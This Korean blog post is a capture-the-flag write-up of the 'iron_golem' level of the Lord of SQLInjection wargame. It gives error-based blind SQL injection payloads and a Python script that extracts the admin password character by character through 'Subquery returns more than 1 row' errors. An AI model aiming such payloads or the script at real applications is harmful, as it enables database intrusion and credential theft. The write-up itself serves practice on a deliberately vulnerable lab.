본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : iron_golem

Write-Up

 

 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");

 

해당 문제의 조건은 위와 같다. sleep 과 benchmark 가 필터링되고 있는 것이 눈에 띈다. 이 둘은 Time Based SQLi에 사용될 수 있는 문법들이다. 처음에는 두 문법이 필터링 되었으니, 헤비쿼리를 시도해보고자 했다. 하지만 실패했고, 

 

exit(mysqli_error($db)); 와 같이 mysql 에러가 출력될 수 있음을 확인했다. 그래서 error based sql injection을 이용하기로 한다.  

 

' or id='admin' and if(length(pw)=32,(select 1 union select 2),1)%23

 

먼저 pw의 길이를 구하기 위해 mysql if문과 union select 를 이용해 줬다. if문은 if( 조건, 참일 경우 출력 값, 거짓일 경우 출력 값) 과 같이 동작하기에 pw의 길이가 32글자가 맞다면, select 1 union select 2 와 같은 구문이 동작된다. select 1 union select 2 구문이 동작할 시, Subquery returns more than 1 row 에러가 발생한다. (서브쿼리를 통해 한개 이상의 값이 반환되었음을 알리는 에러이다. )

 

그렇다면 참일 경우 해당 에러가 계속해서 발생할 것이다. 이를 토대로, 아래와 같은 python 코드를 구현 및 실행해준다. 

 

사용된 코드

import requests
import string

url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw= ' or id='admin' and "
cookies ={'PHPSESSID':"01pfpjq732k9rliu9vod6r0joj"}

result=""

for i in range(1,33):
    for j in range(32,127):
        param="if(ascii(substr(pw,"+str(i)+",1))="+str(j)+",(select 1 union select 2),1)%23"
        # param="ascii(substr(hex(pw),"+str(i)+",1)) = "+str(j)+"%23"

        URL = url+param
        # print(URL)
        response = requests.get(URL, cookies=cookies)
        # print(response.text)
        if "Subquery returns more than 1 row" in response.text:
            result += chr(j)
            print(result)
            break
print("pw: "+result)

 

그림 1

 

 

실습 ( mysql if 구문 사용 및 서브 쿼리 등에 대한 실습 진행 )

 

그림 2

 

그림 2는 mysql의 if문에 대한 실습을 진행한 예제이다. if 조건이 참이되어, subquery가 실행 시, 에러가 발생하고 있음을 확인할 수 있다. 

 

그림 3

 

그림 3의 빨간 박스를 보면, password의 길이가 32글자 이면, 참 조건에 해당하는 쿼리를 실행한다. 컬럼 5개가 출력된 이유는 members 테이블의 각 행에 대해 select 문이 실행됬기에 결과 집합은 각 행에 대한 결과를 포함한다. 마지막만 no 가 출력된 이유는 마지막 컬럼의 password가 32글자가 아니기 때문이다. 

 

이제 보라 박스를 보도록 한다. 참일 때 조건에 sleep(2) 이 실행되도록 하였고, 실제 결과는 8초에 걸려 반환되었다. 마지막 컬럼이 false 이므로 실행되지 않은 것을 생각하면 모든 행에 대해 if 문 조건을 걸었음을 확인할 수 있다. 

 

그림 4

 

마지막 그림 4는 iron_golem 문제와 동일한 쿼리를 작성해 결과를 본 실습이다. 

 

문제의 query 형식 : select id from members where id='guest' and pw='{$_GET[pw]}'

select id from members where id='admin' and password='' or id='guest' and if(length(password)=32,(select 1 union select 2),1);

 

 

추가적으로...

 

그림 5

 

그림 5는 pow()를 이용해 mysql에서 허용 될 수 있는 최대 정밀도를 초과해 에러가 발생하는데, 위와 같은 에러를 if문의 참 조건으로 하여 문제를 해결해 볼 수도 있다. 또한 ?pw=%27or%200xfffffffffffff*0xfffffffffffff%23 와 같이 Integer 범위 초과 에러를 통해 문제를 해결해 볼 수도 있을 것 같다. 

 

 

 

참고

 

 

데이터베이스 별 Error Based SQLi

https://www.bugbountyclub.com/pentestgym/view/53

 

Error 기반 SQL 인젝션 | Pentest Gym | 버그바운티클럽

오류 기반 SQL Injection이란?오류 기반(Error based) SQL Injection은 주로 데이터베이스에 대한 정보를 획득하기 위해 사용됩니다. SQL의 잘못된 문법

www.bugbountyclub.com